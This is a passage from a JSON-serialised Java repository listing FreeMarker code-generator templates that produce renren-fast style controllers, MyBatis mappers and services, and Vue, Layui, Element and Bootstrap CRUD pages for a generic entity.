${classInfo.className?uncap_first}Service.updateById(${classInfo.className?uncap_first});\n\n    return R.ok();\n}\n\n/**\n* 删除\n*/\n@RequestMapping(\"/delete\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:delete\")\npublic R delete(@RequestBody int[] ${classInfo.className?uncap_first}Ids){\n    ${classInfo.className?uncap_first}Service.removeByIds(Arrays.asList(${classInfo.className?uncap_first}Ids));\n\n    return R.ok();\n}\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/rr-dao.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\n</#if>\n/**\n* @description ${classInfo.classComment}Mapper\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Mapper\npublic interface ${classInfo.className}Dao extends BaseMapper<${classInfo.className}Entity> {\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/rr-daoxml.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Dao\">\n\n    <!-- 可根据自己的需求，是否要使用 -->\n    <resultMap type=\"${packageName}.entity.${classInfo.className}Entity\" id=\"${classInfo.className}Map\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result property=\"${fieldItem.fieldName}\" column=\"${fieldItem.fieldName}\"/>\n            </#list>\n        </#if>\n    </resultMap>\n\n</mapper>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/rr-entity.ftl",
    "content": ""
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/rr-service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport java.util.Map;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.common.utils.PageUtils;\nimport ${packageName}.common.utils.Query;\n\nimport ${packageName}.dao.${classInfo.className}Dao;\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n\n@Service(\"${classInfo.className?uncap_first}Service\")\npublic class ${classInfo.className}Service extends ServiceImpl<${classInfo.className}Dao, ${classInfo.className}Entity> {\n\n    @Override\n    public PageUtils queryPage(Map<String, Object> params) {\n        IPage<${classInfo.className}Entity> page = this.page(\n            new Query<${classInfo.className}Entity>().getPage(params),\n                new QueryWrapper<${classInfo.className}Entity>()\n            );\n\n        return new PageUtils(page);\n    }\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/vue-edit.ftl",
    "content": "<template>\n    <el-dialog\n            :title=\"!dataForm.${classInfo.className?uncap_first}Id ? '新增' : '修改'\"\n            :close-on-click-modal=\"false\"\n            :visible.sync=\"visible\">\n        <el-form :model=\"dataForm\" :rules=\"dataRule\" ref=\"dataForm\" @keyup.enter.native=\"dataFormSubmit()\" label-width=\"80px\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <el-form-item label=\"${fieldItem.fieldComment}\" prop=\"${fieldItem.fieldName}\">\n                        <el-input v-model=\"dataForm.${fieldItem.fieldName}\" placeholder=\"${fieldItem.fieldComment}\"></el-input>\n                    </el-form-item>\n                </#list>\n            </#if>\n        </el-form>\n        <span slot=\"footer\" class=\"dialog-footer\">\n      <el-button @click=\"visible = false\">取消</el-button>\n      <el-button type=\"primary\" @click=\"dataFormSubmit()\">确定</el-button>\n    </span>\n    </el-dialog>\n</template>\n\n<script>\n    export default {\n        data () {\n            return {\n                visible: false,\n                dataForm: {\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                    ${fieldItem.fieldName}: ''<#if fieldItem_has_next>,</#if>\n            </#list>\n            </#if>\n        },\n            dataRule: {\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.fieldName}: [{ required: true, message: '${fieldItem.fieldComment}不能为空', trigger: 'blur' }]<#if fieldItem_has_next>,</#if>\n                </#list>\n                </#if>\n            }\n        }\n        },\n        methods: {\n            init (id) {\n                this.dataForm.${classInfo.className?uncap_first}Id = id || 0\n                this.visible = true\n                this.￥nextTick(() => {\n                    this.￥refs['dataForm'].resetFields()\n                    // <!-- 请把 ${classInfo.className?uncap_first}Id 替换成正确的ID -->\n                    if (this.dataForm.${classInfo.className?uncap_first}Id) {\n                        this.￥http({\n                            url: this.￥http.adornUrl(`/generator/${classInfo.className?uncap_first}/info/￥{this.dataForm.${classInfo.className?uncap_first}Id}`),\n                            method: 'get',\n                            params: this.￥http.adornParams()\n                    }).then(({data}) => {\n                            if (data && data.code === 0) {\n                                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                                <#list classInfo.fieldList as fieldItem >\n                                this.dataForm.${fieldItem.fieldName} = data.${classInfo.className?uncap_first}.${fieldItem.fieldName}\n                                </#list>\n                                </#if>\n                            }\n                        })\n                    }\n                })\n            },\n            // 表单提交\n            dataFormSubmit () {\n                this.￥refs['dataForm'].validate((valid) => {\n                    if (valid) {\n                    this.￥http({\n                        url: this.￥http.adornUrl(`/generator/${classInfo.className?uncap_first}/￥{this.dataForm.${classInfo.className?uncap_first}Id? 'save' : 'update'}`),\n                        method: 'post',\n                        data: this.￥http.adornData({\n                        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                        <#list classInfo.fieldList as fieldItem >\n                            '${fieldItem.fieldName}': '${fieldItem.fieldName}' || undefined<#if fieldItem_has_next>,</#if>\n                        </#list>\n                        </#if>\n                        })\n                }).then(({data}) => {\n                        if (data && data.code === 0) {\n                            this.￥message({\n                                message: '操作成功',\n                                type: 'success',\n                                duration: 1500,\n                                onClose: () => {\n                                    this.visible = false\n                                    this.￥emit('refreshDataList')\n                                }\n                        })\n                        } else {\n                            this.￥message.error(data.msg)\n                        }\n                    })\n                }\n                })\n            }\n        }\n    }\n</script>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/vue-list.ftl",
    "content": "<template>\n    <div class=\"mod-config\">\n        <el-form :inline=\"true\" :model=\"dataForm\" @keyup.enter.native=\"getDataList()\">\n            <el-form-item>\n                <el-input v-model=\"dataForm.key\" placeholder=\"参数名\" clearable></el-input>\n            </el-form-item>\n            <el-form-item>\n                <el-button @click=\"getDataList()\">查询</el-button>\n                <el-button v-if=\"isAuth('generator:${classInfo.className?uncap_first}:save')\" type=\"primary\" @click=\"addOrUpdateHandle()\">新增</el-button>\n                <el-button v-if=\"isAuth('generator:${classInfo.className?uncap_first}:delete')\" type=\"danger\" @click=\"deleteHandle()\" :disabled=\"dataListSelections.length <= 0\">批量删除</el-button>\n            </el-form-item>\n        </el-form>\n        <el-table\n                :data=\"dataList\"\n                border\n                v-loading=\"dataListLoading\"\n                @selection-change=\"selectionChangeHandle\"\n                style=\"width: 100%;\">\n            <el-table-column\n                    type=\"selection\"\n                    header-align=\"center\"\n                    align=\"center\"\n                    width=\"50\">\n            </el-table-column>\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <el-table-column\n                            prop=\"${fieldItem.fieldName}\"\n                            header-align=\"center\"\n                            align=\"center\"\n                            label=\"${fieldItem.fieldComment}\">\n                    </el-table-column>\n                </#list>\n            </#if>\n            <el-table-column\n                    fixed=\"right\"\n                    header-align=\"center\"\n                    align=\"center\"\n                    width=\"150\"\n                    label=\"操作\">\n                <template slot-scope=\"scope\">\n                    <!-- 请把 ${classInfo.className?uncap_first}Id 替换成正确的ID -->\n                    <el-button type=\"text\" size=\"small\" @click=\"addOrUpdateHandle(scope.row.${classInfo.className?uncap_first}Id)\">修改</el-button>\n                    <el-button type=\"text\" size=\"small\" @click=\"deleteHandle(scope.row.${classInfo.className?uncap_first}Id)\">删除</el-button>\n                </template>\n            </el-table-column>\n        </el-table>\n        <el-pagination\n                @size-change=\"sizeChangeHandle\"\n                @current-change=\"currentChangeHandle\"\n                :current-page=\"pageIndex\"\n                :page-sizes=\"[10, 20, 50, 100]\"\n                :page-size=\"pageSize\"\n                :total=\"totalPage\"\n                layout=\"total, sizes, prev, pager, next, jumper\">\n        </el-pagination>\n        <!-- 弹窗, 新增 / 修改 -->\n        <add-or-update v-if=\"addOrUpdateVisible\" ref=\"addOrUpdate\" @refreshDataList=\"getDataList\"></add-or-update>\n    </div>\n</template>\n\n<script>\n    import AddOrUpdate from './${classInfo.className?uncap_first}-add-or-update'\n    export default {\n        data () {\n            return {\n                dataForm: {\n                    key: ''\n                },\n                dataList: [],\n                pageIndex: 1,\n                pageSize: 10,\n                totalPage: 0,\n                dataListLoading: false,\n                dataListSelections: [],\n                addOrUpdateVisible: false\n            }\n        },\n        components: {\n            AddOrUpdate\n        },\n        activated () {\n            this.getDataList()\n        },\n        methods: {\n            // 获取数据列表\n            getDataList () {\n                this.dataListLoading = true\n                this.￥http({\n                url: this.￥http.adornUrl('/generator/${classInfo.className?uncap_first}/list'),\n                    method: 'get',\n                    params: this.￥http.adornParams({\n                        'page': this.pageIndex,\n                        'limit': this.pageSize,\n                        'key': this.dataForm.key\n                    })\n            }).then(({data}) => {\n                    if (data && data.code === 0) {\n                        this.dataList = data.page.list\n                        this.totalPage = data.page.totalCount\n                    } else {\n                        this.dataList = []\n                        this.totalPage = 0\n                    }\n                    this.dataListLoading = false\n                })\n            },\n            // 每页数\n            sizeChangeHandle (val) {\n                this.pageSize = val\n                this.pageIndex = 1\n                this.getDataList()\n            },\n            // 当前页\n            currentChangeHandle (val) {\n                this.pageIndex = val\n                this.getDataList()\n            },\n            // 多选\n            selectionChangeHandle (val) {\n                this.dataListSelections = val\n            },\n            // 新增 / 修改\n            addOrUpdateHandle (id) {\n                this.addOrUpdateVisible = true\n                this.￥nextTick(() => {\n                    this.￥refs.addOrUpdate.init(id)\n                })\n            },\n            // 删除\n            deleteHandle (id) {\n                var ids = id ? [id] : this.dataListSelections.map(item => {\n                    return item.${classInfo.className?uncap_first}Id\n                })\n                this.￥confirm(`确定对[id=￥{ids.join(',')}]进行[￥{id ? '删除' : '批量删除'}]操作?`, '提示', {\n                    confirmButtonText: '确定',\n                    cancelButtonText: '取消',\n                    type: 'warning'\n            }).then(() => {\n                    this.￥http({\n                        url: this.￥http.adornUrl('/generator/${classInfo.className?uncap_first}/delete'),\n                        method: 'post',\n                        data: this.￥http.adornData(ids, false)\n                }).then(({data}) => {\n                        if (data && data.code === 0) {\n                            this.￥message({\n                                message: '操作成功',\n                                type: 'success',\n                                duration: 1500,\n                                onClose: () => {\n                                this.getDataList()\n                            }\n                        })\n                        } else {\n                            this.￥message.error(data.msg)\n                        }\n                    })\n                })\n            }\n        }\n    }\n</script>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/service.ftl",
    "content": "package ${packageService};\nimport java.util.Map;\n\nimport ${packageModel}.${classInfo.className};\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public ReturnT<String> delete(int id);\n\n    /**\n    * 更新\n    */\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * Load查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/service_impl.ftl",
    "content": "package ${packageServiceImpl};\n\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.biz.dao.${classInfo.className}Dao;\nimport ${packageModel}.${classInfo.className};\nimport ${packageService}.${classInfo.className}Service;\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Dao ${classInfo.className?uncap_first}Dao;\n\n\t/**\n    * 新增\n    */\n\t@Override\n\tpublic ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn new ReturnT<String>(ReturnT.FAIL_CODE, \"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Dao.insert(${classInfo.className?uncap_first});\n        return ReturnT.SUCCESS;\n\t}\n\n\t/**\n\t* 删除\n\t*/\n\t@Override\n\tpublic ReturnT<String> delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Dao.delete(id);\n\t\treturn ret>0?ReturnT.SUCCESS:ReturnT.FAIL;\n\t}\n\n\t/**\n\t* 更新\n\t*/\n\t@Override\n\tpublic ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Dao.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?ReturnT.SUCCESS:ReturnT.FAIL;\n\t}\n\n\t/**\n\t* Load查询\n\t*/\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Dao.load(id);\n\t}\n\n\t/**\n\t* 分页查询\n\t*/\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Dao.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Dao.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/ui/bootstrap-ui.ftl",
    "content": "<form action=\"/${classInfo.className?uncap_first}/save\">\n\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n            <div class=\"form-group\">\n                <label for=\"${fieldItem.fieldName}Label\">${fieldItem.fieldComment}</label>\n                <input type=\"input\" class=\"form-control\" id=\"${fieldItem.fieldName}\" name=\"${fieldItem.fieldName}\" placeholder=\"请输入${fieldItem.fieldComment}\">\n            </div>\n        </#list>\n    </#if>\n\n    <button type=\"submit\" class=\"btn btn-primary\">保存</button>\n</form>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/ui/element-ui.ftl",
    "content": "<el-form :inline=\"true\" :model=\"submitData\" class=\"demo-form-inline\" :rules=\"rules\" ref=\"ruleForm\">\n    <el-card class=\"box-card\">\n        <div slot=\"header\" class=\"header clearfix\">\n            <span>${classInfo.classComment}</span>\n            <el-button v-if=\"!ischeck && !isFind\" class=\"fr\" type=\"primary\" @click=\"validate('ruleForm')\">提交</el-button>\n            <el-button v-else class=\"fr\" type=\"primary\" @click=\"goBack\">返回</el-button>\n        </div>\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n             <el-form-item label=\"${fieldItem.fieldComment}\" prop=\"${fieldItem.fieldName}\">\n                 <el-input placeholder=\"请输入${fieldItem.fieldComment}\" v-model=\"formData.${fieldItem.fieldName}\"></el-input>\n             </el-form-item>\n            </#list>\n        </#if>\n    </el-card>\n</el-form>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/ui/layui-edit.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layui-form layuimini-form\">\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    <div class=\"layui-form-item\">\n        <label class=\"layui-form-label required\">${fieldItem.fieldComment}</label>\n        <div class=\"layui-input-block\">\n            <input type=\"text\" name=\"${fieldItem.fieldName}\" lay-verify=\"required\" lay-reqtext=\"${fieldItem.fieldComment}不能为空\" placeholder=\"请输入${fieldItem.fieldComment}\" value=\"￥{(${classInfo.className?uncap_first}.${fieldItem.fieldName})!!}\" class=\"layui-input\">\n            <#--<tip>${fieldItem.fieldComment}</tip>-->\n        </div>\n    </div>\n    </#list>\n</#if>\n\n    <div class=\"layui-form-item\">\n        <div class=\"layui-input-block\">\n            <button class=\"layui-btn\" lay-submit lay-filter=\"saveBtn\">确认保存</button>\n        </div>\n    </div>\n</div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/ui/layui-list.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layuimini-container\">\n    <div class=\"layuimini-main\">\n\n        <fieldset class=\"table-search-fieldset\">\n            <legend>搜索信息</legend>\n            <div style=\"margin: 10px 10px 10px 10px\">\n                <form class=\"layui-form layui-form-pane\" action=\"\">\n                    <div class=\"layui-form-item\">\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}Id</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Id\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}名称</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Name\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <button id=\"searchBtn\" type=\"submit\" class=\"layui-btn layui-btn-primary\" lay-submit  lay-filter=\"data-search-btn\"><i class=\"layui-icon\"></i> 搜 索</button>\n                        </div>\n                    </div>\n                </form>\n            </div>\n        </fieldset>\n\n        <script type=\"text/html\" id=\"toolbarDemo\">\n            <div class=\"layui-btn-container\">\n                <button class=\"layui-btn layui-btn-normal layui-btn-sm data-add-btn\" lay-event=\"add\">  <i class=\"layui-icon layui-icon-addition\"></i>${classInfo.classComment} </button>\n               <#-- <button class=\"layui-btn layui-btn-normal layui-btn-sm layui-btn-danger data-delete-btn\" lay-event=\"del\"> 删除${classInfo.classComment} </button>-->\n            </div>\n        </script>\n\n        <table class=\"layui-hide\" id=\"currentTableId\" lay-filter=\"currentTableFilter\"></table>\n\n        <script type=\"text/html\" id=\"currentTableBar\">\n            <a class=\"layui-btn layui-btn-xs data-count-edit\" lay-event=\"edit\">编辑</a>\n            <a class=\"layui-btn layui-btn-xs layui-btn-danger data-count-delete\" lay-event=\"delete\">删除</a>\n        </script>\n\n        <script type=\"text/html\" id=\"typeTemplate\">\n            {{#  if(d.type == '1'){ }}\n            常规\n            {{#  } else if(d.type =='2') { }}\n            专项\n            {{#  } else { }}\n            其它\n            {{#  } }}\n        </script>\n        <script type=\"text/html\" id=\"statusTemplate\">\n            {{#  if(d.status == '1' ){ }}\n            <i class=\"layui-icon layui-icon-ok\"></i>已发布\n            {{#  } else { }}\n            - 未发布\n            {{#  } }}\n        </script>\n    </div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form', 'table'], function () {\n        var $ = layui.jquery,\n            form = layui.form,\n            table = layui.table;\n\n        table.render({\n            elem: '#currentTableId',\n            method: 'post',\n            url: '￥{request.contextPath}/${classInfo.className?uncap_first}/list',\n            toolbar: '#toolbarDemo',\n            defaultToolbar: ['filter', 'exports', 'print', {\n                title: '提示',\n                layEvent: 'LAYTABLE_TIPS',\n                icon: 'layui-icon-tips'\n            }],\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#currentTableBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        var result;\n        /**\n         * submit(data-search-btn):监听搜索操作\n         */\n        form.on('submit(data-search-btn)', function (data) {\n            result = JSON.stringify(data.field);\n\n            //执行搜索重载\n            table.reload('currentTableId', {\n                page: {\n                    curr: 1\n                }\n                , where: {\n                    searchParams: result\n                }\n            }, 'data');\n\n            return false;\n        });\n\n        var searchBtn = $(\"#searchBtn\");\n        /**\n         * toolbar监听事件:表格添加按钮\n         */\n        table.on('toolbar(currentTableFilter)', function (obj) {\n            if (obj.event === 'add') {\n                var index = layer.open({\n                    title: '添加',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '￥{request.contextPath}/${classInfo.className?uncap_first}/edit?id=0',\n                });\n                return false;\n            }else if(obj.event === 'del') {\n                var checkStatus = table.checkStatus('currentTableId')\n                    , data = checkStatus.data;\n                layer.alert(JSON.stringify(data));\n            }\n        });\n        /**\n         * checkbox(currentTableFilter):表格复选框选择\n         */\n        table.on('checkbox(currentTableFilter)', function (obj) {\n            //console.log(obj)\n        });\n\n        /**\n         * tool监听事件:表格编辑删除等功能按钮\n         */\n        table.on('tool(currentTableFilter)', function (obj) {\n            var data = obj.data;\n            if (obj.event === 'edit') {\n                var index = layer.open({\n                    title: '编辑',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '￥{request.contextPath}/${classInfo.className?uncap_first}/edit?id='+obj.data.${classInfo.className?uncap_first}Id,\n                });\n                return false;\n            } else if (obj.event === 'delete') {\n                layer.confirm('确认删除该记录吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/delete\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id},\n                        success: function (responseData) {\n                            if (responseData.code === 200) {\n                                layer.msg(responseData.msg, function () {\n                                    obj.del();\n                                });\n                            } else {\n                                layer.msg(responseData.msg, function () {\n                                });\n                            }\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'publish') {\n                layer.confirm('确定要发布吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"1\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'unpublish') {\n                layer.confirm('确定要停止吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"0\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n        });\n\n    });\n</script>\n<script>\n\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/ui/swagger-ui.ftl",
    "content": "@ApiOperation(value = \"${classInfo.classComment}\", notes = \"${classInfo.classComment}\")\n    @ApiImplicitParams({\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                @ApiImplicitParam(name = \"${fieldItem.fieldName}\", value = \"${fieldItem.fieldComment}\", required = false, dataType = \"${fieldItem.fieldClass}\")<#if fieldItem_has_next>,</#if>\n                </#list>\n            </#if>\n    }\n    )\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/util/beanutil.ftl",
    "content": "/**\n* ${classInfo.classComment}对象Get Set\n* @author ${authorName} ${.now?string('yyyy-MM-dd')}\n*/\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${fieldItem.fieldClass} ${fieldItem.fieldName} = ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}();\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${classInfo.className?uncap_first}.set${fieldItem.fieldName?cap_first}();\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${classInfo.className?uncap_first}.set${fieldItem.fieldName?cap_first}(${classInfo.className?uncap_first}2.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.fieldName?uncap_first}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.columnName}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\nmap.put(\"${fieldItem.fieldComment}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.fieldName?uncap_first}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n</#if>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/util/json.ftl",
    "content": "<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n{\n<#list classInfo.fieldList as fieldItem>\n \"${fieldItem.fieldName}\":\"${fieldItem.fieldComment}\"<#if fieldItem_has_next>,</#if>\n</#list>\n}\n\n{\n<#list classInfo.fieldList as fieldItem>\n \"${fieldItem.fieldName}\":\"\"<#if fieldItem_has_next>,</#if>\n</#list>\n}\n</#if>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/util/sql.ftl",
